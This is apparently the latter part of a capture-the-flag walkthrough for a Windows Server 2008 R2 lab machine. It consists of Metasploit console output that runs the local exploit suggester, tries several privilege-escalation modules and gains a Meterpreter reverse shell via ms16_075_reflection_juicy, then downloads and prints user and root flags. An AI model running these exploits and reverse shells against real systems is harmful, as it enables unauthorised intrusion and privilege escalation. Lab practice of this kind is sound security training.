13
[*] Downloading: user.txt -> /home/kali/Desktop/hmv/user.txt
14
[*] Downloaded 33.00 B of 33.00 B (100.0%): user.txt -> /home/kali/Desktop/hmv/user.txt
15
[*] Completed  : user.txt -> /home/kali/Desktop/hmv/user.txt
16
meterpreter >
17

18
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
19
└─# cat user.txt
20
4159a2b3a38697518722695cbb09ee46

1
meterpreter > background
2
[*] Backgrounding session 1...
3
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
4
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
5
SESSION => 1
6
msf6 post(multi/recon/local_exploit_suggester) > run
7
[*] 192.168.0.110 - Collecting local exploits for x86/windows...
8
/usr/share/metasploit-framework/modules/exploits/linux/local/sock_sendpage.rb:47: warning: key "Notes" is duplicated and overwritten on line 68
9
/usr/share/metasploit-framework/modules/exploits/unix/webapp/phpbb_highlight.rb:46: warning: key "Notes" is duplicated and overwritten on line 51
10
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
11
You can add syslog to your Gemfile or gemspec to silence this warning.
12
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
13
[*] 192.168.0.110 - 205 exploit checks are being tried...
14
[+] 192.168.0.110 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
15
[+] 192.168.0.110 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
16
[+] 192.168.0.110 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
17
[+] 192.168.0.110 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
18
[+] 192.168.0.110 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
19
[+] 192.168.0.110 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
20
[+] 192.168.0.110 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
21
[+] 192.168.0.110 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
22
[+] 192.168.0.110 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
23
[+] 192.168.0.110 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
24
[+] 192.168.0.110 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
25
[*] Running check method for exploit 42 / 42
26
[*] 192.168.0.110 - Valid modules for session 1:
27
============================
28

29
 #   Name                                                           Potentially Vulnerable?  Check Result
30
 -   ----                                                           -----------------------  ------------
31
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
32
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
33
 3   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
34
 4   exploit/windows/local/ms13_053_schlamperei                     Yes                      The target appears to be vulnerable.
35
 5   exploit/windows/local/ms13_081_track_popup_menu                Yes                      The target appears to be vulnerable.
36
 6   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
37
 7   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
38
 8   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
39
 9   exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.
40
 10  exploit/windows/local/ms16_075_reflection_juicy                Yes                      The target appears to be vulnerable.
41
 11  exploit/windows/local/ppr_flatten_rec                          Yes                      The target appears to be vulnerable.
42
 12  exploit/windows/local/adobe_sandbox_adobecollabsync            No                       Cannot reliably check exploitability.
43
 13  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
44
 14  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.
45
 15  exploit/windows/local/anyconnect_lpe                           No                       The target is not exploitable. vpndownloader.exe not found on file system
46
 16  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
47
 17  exploit/windows/local/bthpan                                   No                       The target is not exploitable.
48
 18  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
49
 19  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
50
 20  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found
51
 21  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
52
 22  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
53
 23  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
54
 24  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
55
 25  exploit/windows/local/ipass_launch_app                         No                       The check raised an exception.
56
 26  exploit/windows/local/lenovo_systemupdate                      No                       The check raised an exception.
57
 27  exploit/windows/local/lexmark_driver_privesc                   No                       The check raised an exception.
58
 28  exploit/windows/local/mqac_write                               No                       The target is not exploitable.
59
 29  exploit/windows/local/ms10_015_kitrap0d                        No                       The target is not exploitable.
60
 30  exploit/windows/local/ms10_092_schelevator                     No                       The target is not exploitable. Windows Server 2008 R2 (6.1 Build 7600). is not vulnerable
61
 31  exploit/windows/local/ms14_070_tcpip_ioctl                     No                       The target is not exploitable.
62
 32  exploit/windows/local/ms15_004_tswbproxy                       No                       The target is not exploitable.
63
 33  exploit/windows/local/ms16_016_webdav                          No                       The target is not exploitable.
64
 34  exploit/windows/local/ms_ndproxy                               No                       The target is not exploitable.
65
 35  exploit/windows/local/novell_client_nicm                       No                       The target is not exploitable.
66
 36  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.
67
 37  exploit/windows/local/ntusermndragover                         No                       The target is not exploitable.
68
 38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
69
 39  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
70
 40  exploit/windows/local/tokenmagic                               No                       The target is not exploitable.
71
 41  exploit/windows/local/virtual_box_guest_additions              No                       The target is not exploitable.
72
 42  exploit/windows/local/webexec                                  No                       The check raised an exception.
73

74
[*] Post module execution completed
75
msf6 post(multi/recon/local_exploit_suggester) >

1
msf6 exploit(windows/local/bypassuac_comhijack) > set session 1
2
session => 1
3
msf6 exploit(windows/local/bypassuac_comhijack) > run
4
[*] Started reverse TCP handler on 192.168.0.108:4444
5
[*] Running automatic check ("set AutoCheck false" to disable)
6
[+] The target appears to be vulnerable.
7
[-] Exploit aborted due to failure: bad-config: x86 payload selected for x64 system
8
[*] Exploit completed, but no session was created.
9
msf6 exploit(windows/local/bypassuac_comhijack) >
10

11
[*] Started reverse TCP handler on 192.168.0.108:4444
12
[*] Running automatic check ("set AutoCheck false" to disable)
13
[!] This target is not presently supported by this exploit. Support may be added in the future!
14
[!] Attempts to exploit this target with this module WILL NOT WORK!
15
[!] The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
16
[*] Step #1: Checking target environment...
17
[-] Exploit aborted due to failure: bad-config: Target is running Windows, its not a version this module supports! Bailing...
18
[*] Exploit completed, but no session was created.
19
msf6 exploit(windows/local/cve_2020_078
20
7_bits_arbitrary_file_move) >
21

22
msf6 exploit(windows/local/ms13_053_schlamperei) > run
23
[*] Started reverse TCP handler on 192.168.0.108:4444
24
[-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
25
[*] Exploit completed, but no session was created.
26
msf6 exploit(windows/local/ms13_053_schlamperei) >
27

28
msf6 exploit(windows/local/ms13_081_tra
29
ck_popup_menu) > run
30
[*] Started reverse TCP handler on 192.168.0.108:4444
31
[-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
32
[*] Exploit completed, but no session was created.
33
msf6 exploit(windows/local/ms13_081_tra
34
ck_popup_menu) >
35

36
msf6 exploit(windows/local/ms16_075_ref
37
lection_juicy) > set session 1
38
session => 1
39
msf6 exploit(windows/local/ms16_075_ref
40
lection_juicy) > run
41
[*] Started reverse TCP handler on 192.168.0.108:4444
42
[+] Target appears to be vulnerable (Windows Server 2008 R2)
43
[*] Launching notepad to host the exploit...
44
[+] Process 928 launched.
45
[*] Reflectively injecting the exploit DLL into 928...
46
[*] Injecting exploit into 928...
47
[*] Exploit injected. Injecting exploit configuration into 928...
48
[*] Configuration injected. Executing exploit...
49
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
50
[*] Sending stage (177734 bytes) to 192.168.0.110
51
[*] Meterpreter session 2 opened (192.168.0.108:4444 -> 192.168.0.110:49192) at 2026-01-27 12:48:12 -0500
52

53
meterpreter >

1
meterpreter > download root.txt
2
[*] Downloading: root.txt -> /home/kali/Desktop/hmv/root.txt
3
[*] Downloaded 33.00 B of 33.00 B (100.0%): root.txt -> /home/kali/Desktop/hmv/root.txt
4
[*] Completed  : root.txt -> /home/kali/Desktop/hmv/root.txt
5
meterpreter >
6

7
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
8
└─# cat root.txt
9
5b38df6802c305e752c8f02358721acc